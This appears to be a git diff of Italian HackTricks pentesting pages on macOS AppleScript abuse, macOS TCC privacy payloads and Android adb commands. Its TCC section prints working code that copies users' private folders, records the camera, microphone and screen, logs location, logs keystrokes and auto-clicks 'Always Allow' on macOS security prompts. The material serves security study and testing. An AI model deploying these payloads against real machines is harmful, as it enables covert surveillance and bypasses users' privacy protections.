-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in formato PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## Apple Scripts -È un linguaggio di scripting utilizzato per l'automazione di compiti **interagendo con processi remoti**. Rende piuttosto facile **chiedere ad altri processi di eseguire determinate azioni**. **Malware** potrebbe sfruttare queste funzionalità per abusare delle funzioni esportate da altri processi.\ -Ad esempio, un malware potrebbe **iniettare codice JS arbitrario nelle pagine aperte del browser**. O **fare clic automaticamente** su alcune autorizzazioni richieste all'utente; +È un linguaggio di scripting utilizzato per l'automazione dei compiti **interagendo con processi remoti**. Rende abbastanza facile **chiedere ad altri processi di eseguire alcune azioni**. **Il malware** può abusare di queste funzionalità per sfruttare le funzioni esportate da altri processi.\ +Ad esempio, un malware potrebbe **iniettare codice JS arbitrario nelle pagine aperte del browser**. Oppure **cliccare automaticamente** su alcune autorizzazioni richieste all'utente; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` Ecco alcuni esempi: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Trova ulteriori informazioni sui malware che utilizzano gli AppleScripts [**qui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Trova ulteriori informazioni su malware che utilizza applescripts [**qui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Gli AppleScripts possono essere facilmente "**compilati**". Queste versioni possono essere facilmente "**decompilate**" con `osadecompile`. +Gli script Apple possono essere facilmente "**compilati**". Queste versioni possono essere facilmente "**decompilate**" con `osadecompile` -Tuttavia, questi script possono anche essere **esportati come "sola lettura"** (tramite l'opzione "Esporta..."): +Tuttavia, questi script possono anche essere **esportati come "Sola lettura"** (tramite l'opzione "Esporta..."):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -E in questo caso il contenuto non può essere decompilato nemmeno con `osadecompile`. +e in questo caso il contenuto non può essere decompilato nemmeno con `osadecompile` -Tuttavia, ci sono ancora alcuni strumenti che possono essere utilizzati per comprendere questo tipo di eseguibili, [**leggi questa ricerca per ulteriori informazioni**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Lo strumento [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sarà molto utile per capire come funziona lo script. +Tuttavia, ci sono ancora alcuni strumenti che possono essere utilizzati per comprendere questo tipo di eseguibili, [**leggi questa ricerca per maggiori informazioni**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Lo strumento [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sarà molto utile per capire come funziona lo script. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index cc93177ed..3513ebf51 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,30 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ### Desktop -* **Autorizzazione**: Nessuna +* **Entitlement**: Nessuno * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Copia `$HOME/Desktop` in `/tmp/desktop`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -60,7 +58,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Copia `$HOME/Desktop` in `/tmp/desktop`. - ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -69,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Documenti -* **Entitlement**: Nessuno +* **Autorizzazione**: Nessuna * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Copia `$HOME/Documents` in `/tmp/documents`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -113,7 +107,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Copia `$HOME/`Documents in `/tmp/documents`. - ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -122,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Download -* **Entitlement**: Nessuno +* **Autorizzazione**: Nessuna * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Copia `$HOME/Downloads` in `/tmp/downloads`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -166,24 +156,20 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Copia `$HOME/Dowloads` in `/tmp/downloads`. - ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` {% endtab %} {% endtabs %} -### Libreria di foto +### Libreria Foto -* **Entitlement**: `com.apple.security.personal-information.photos-library` +* **Autorizzazione**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -219,7 +205,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`. - ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -228,15 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Contatti -* **Entitlement**: `com.apple.security.personal-information.addressbook` +* **Autorizzazione**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -272,7 +254,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`. - ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -281,11 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Calendario -* **Entitlement**: `com.apple.security.personal-information.calendars` +* **Autorizzazione**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` +{% tabs %} +{% tab title="ObjectiveC" %} Copia `$HOME/Library/Calendars` in `/tmp/calendars`. - ```objectivec #include #include @@ -317,19 +299,24 @@ NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` +{% endtab %} +{% tab title="Shell" %} Copia `$HOME/Library/Calendars` in `/tmp/calendars`. - ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} + +### Telecamera + +* **Autorizzazione**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC - Registrare" %} Registra un video di 3 secondi e salvalo in **`/tmp/recording.mov`** -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -407,11 +394,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="undefined" %} +{% tab title="ObjectiveC - Controllo" %} Controlla se il programma ha accesso alla fotocamera. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -445,7 +429,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Scatta una foto con la fotocamera - ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -458,11 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC - Registrare" %} Registra 5 secondi di audio e salvalo in `/tmp/recording.m4a` -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -561,11 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="undefined" %} +{% tab title="ObjectiveC - Controllo" %} Controlla se l'app ha accesso al microfono. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -597,7 +574,6 @@ static void telegram(int argc, const char **argv) { {% tab title="Shell" %} Registra un audio di 5 secondi e salvalo in `/tmp/recording.wav` - ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -610,18 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### Posizione {% hint style="success" %} -Perché un'app possa ottenere la posizione, **i Servizi di localizzazione** (da Privacy e sicurezza) **devono essere abilitati**, altrimenti non sarà in grado di accedervi. +Affinché un'app possa ottenere la posizione, **i Servizi di Posizione** (da Privacy e Sicurezza) **devono essere abilitati,** altrimenti non sarà in grado di accedervi. {% endhint %} -* **Entitlement**: `com.apple.security.personal-information.location` +* **Autorizzazione**: `com.apple.security.personal-information.location` * **TCC**: Concesso in `/var/db/locationd/clients.plist` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjectiveC" %} Scrivi la posizione in `/tmp/logs.txt` -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -670,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt ``` {% endtab %} -{% tab title="undefined" %} +{% tab title="Shell" %} Ottieni accesso alla posizione -{% endtab %} - -{% tab title="undefined" %} ``` ??? ``` {% endtab %} +{% endtabs %} + +### Registrazione dello Schermo + +* **Autorizzazione**: Nessuna +* **TCC**: `kTCCServiceScreenCapture` -{% tab title="undefined" %} {% tabs %} -{% tab title="undefined" %} -Registra lo schermo principale per 5 secondi in `/tmp/screen.mov` -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjectiveC" %} +Registra lo schermo principale per 5s in `/tmp/screen.mov` ```objectivec #import #import @@ -743,29 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Registra lo schermo principale per 5 secondi - +Registra lo schermo principale per 5s ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -{% endtab %} -{% tab title="undefined" %} -#### Accessibilità -{% endtab %} +### Accessibilità -{% tab title="undefined" %} -* **Entitlement**: Nessuno +* **Autorizzazione**: Nessuna * **TCC**: `kTCCServiceAccessibility` -{% endtab %} -{% tab title="undefined" %} -Utilizza il privilegio TCC per accettare il controllo di Finder premendo il tasto Invio e bypassare TCC in questo modo -{% endtab %} +Usa il privilegio TCC per accettare il controllo del Finder premendo invio e bypassare TCC in questo modo -{% tab title="undefined" %} +{% tabs %} +{% tab title="Accetta TCC" %} ```objectivec #import #import @@ -819,8 +784,7 @@ return 0; {% endtab %} {% tab title="Keylogger" %} -Salva i tasti premuti in **`/tmp/keystrokes.txt`** - +Memorizza i tasti premuti in **`/tmp/keystrokes.txt`** ```objectivec #import #import @@ -928,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**L'accessibilità è un permesso molto potente**, potresti abusarne in altri modi, ad esempio potresti eseguire l'attacco delle **keystrokes** solo da essa senza dover chiamare System Events. +**L'accessibilità è un permesso molto potente**, potresti abusarne in altri modi, ad esempio potresti eseguire l'**attacco ai tasti** solo da essa senza dover chiamare System Events. {% endhint %} +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index a1d10cb44..6b44ff02b 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub. +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ Altri modi per supportare HackTricks: {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub. +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 212688fce..ec5459a46 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,19 +1,20 @@ +{% hint style="success" %} +Impara e pratica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} -**Adb di solito si trova in:** +**Adb si trova solitamente in:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -27,25 +28,25 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` adb devices ``` -Questo elencherà i dispositivi connessi; se appare "_**non autorizzato**_", significa che devi **sbloccare** il tuo **telefono** e **accettare** la connessione. +Questo elencherà i dispositivi connessi; se appare "_**non autorizzato**_", significa che devi **sbloccare** il tuo **mobile** e **accettare** la connessione. -Questo indica al dispositivo di avviare un server adb sulla porta 5555: +Questo indica al dispositivo che deve avviare un server adb sulla porta 5555: ``` adb tcpip 5555 ``` -Connettiti a quell'IP e a quella porta: +Collegati a quell'IP e a quella Porta: ``` adb connect : ``` -Se si verifica un errore come il seguente in un software Android virtuale (come Genymotion): +Se ricevi un errore come il seguente in un software Android virtuale (come Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` -È perché stai cercando di connetterti a un server ADB con una versione diversa. Prova semplicemente a trovare il file binario adb che il software sta utilizzando (vai su `C:\Program Files\Genymobile\Genymotion` e cerca adb.exe) +È perché stai cercando di connetterti a un server ADB con una versione diversa. Prova a trovare il binario adb che il software sta utilizzando (vai su `C:\Program Files\Genymobile\Genymotion` e cerca adb.exe) ## Diversi dispositivi -Ogni volta che trovi **diversi dispositivi collegati al tuo computer**, dovrai **specificare su quale** desideri eseguire il comando adb. +Ogni volta che trovi **diversi dispositivi collegati al tuo computer** dovrai **specificare in quale** vuoi eseguire il comando adb. ```bash adb devices List of devices attached @@ -60,14 +61,14 @@ root ``` ## Port Tunneling -Nel caso in cui la **porta adb** sia accessibile solo da **localhost** sul dispositivo Android ma **hai accesso tramite SSH**, puoi **inoltrare la porta 5555** e connetterti tramite adb: +Nel caso in cui la **porta** **adb** sia **accessibile** solo da **localhost** nel dispositivo android ma **hai accesso tramite SSH**, puoi **inoltrare la porta 5555** e connetterti tramite adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -# Gestore dei pacchetti +# Packet Manager -## Installa/Disinstalla +## Installa/Rimuovi ### adb install \[opzione] \ ```bash @@ -85,9 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb uninstall \[opzioni] \ - -Questa opzione viene utilizzata per disinstallare un'applicazione dal dispositivo Android tramite il comando adb. Per utilizzare questo comando, è necessario specificare il nome del pacchetto dell'applicazione che si desidera disinstallare. +### adb disinstalla \[opzioni] \ ```bash adb uninstall com.test.app @@ -97,7 +96,7 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p Stampa tutti i pacchetti, opzionalmente solo quelli il cui nome del pacchetto contiene il testo in \. -### adb shell pm list packages \[opzioni] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -119,7 +118,7 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -Stampa il percorso dell'APK del . +Stampa il percorso dell'APK del dato . ```bash adb shell pm path com.android.phone ``` @@ -129,31 +128,31 @@ Elimina tutti i dati associati a un pacchetto. ```bash adb shell pm clear com.test.abc ``` -# Gestore di file +# File Manager -### adb pull \ \[locale] +### adb pull \ \[local] Scarica un file specificato da un emulatore/dispositivo al tuo computer. ```bash adb pull /sdcard/demo.mp4 ./ ``` -### adb push \ \ +### adb push \ \ -Carica un file specificato dal tuo computer su un emulatore/dispositivo. +Carica un file specificato dal tuo computer a un emulatore/dispositivo. ```bash adb push test.apk /sdcard ``` -# Cattura schermo/Registrazione schermo +# Screencapture/Screenrecord -### adb shell screencap \ +### adb shell screencap \ -Effettua una cattura dello schermo del dispositivo. +Catturare uno screenshot del display di un dispositivo. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[opzioni] \ +### adb shell screenrecord \[options] \ -Registra la visualizzazione dei dispositivi che eseguono Android 4.4 (API level 19) e versioni successive. +Registrazione del display dei dispositivi che eseguono Android 4.4 (API level 19) e versioni superiori. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -162,9 +161,9 @@ adb shell screenrecord --time-limit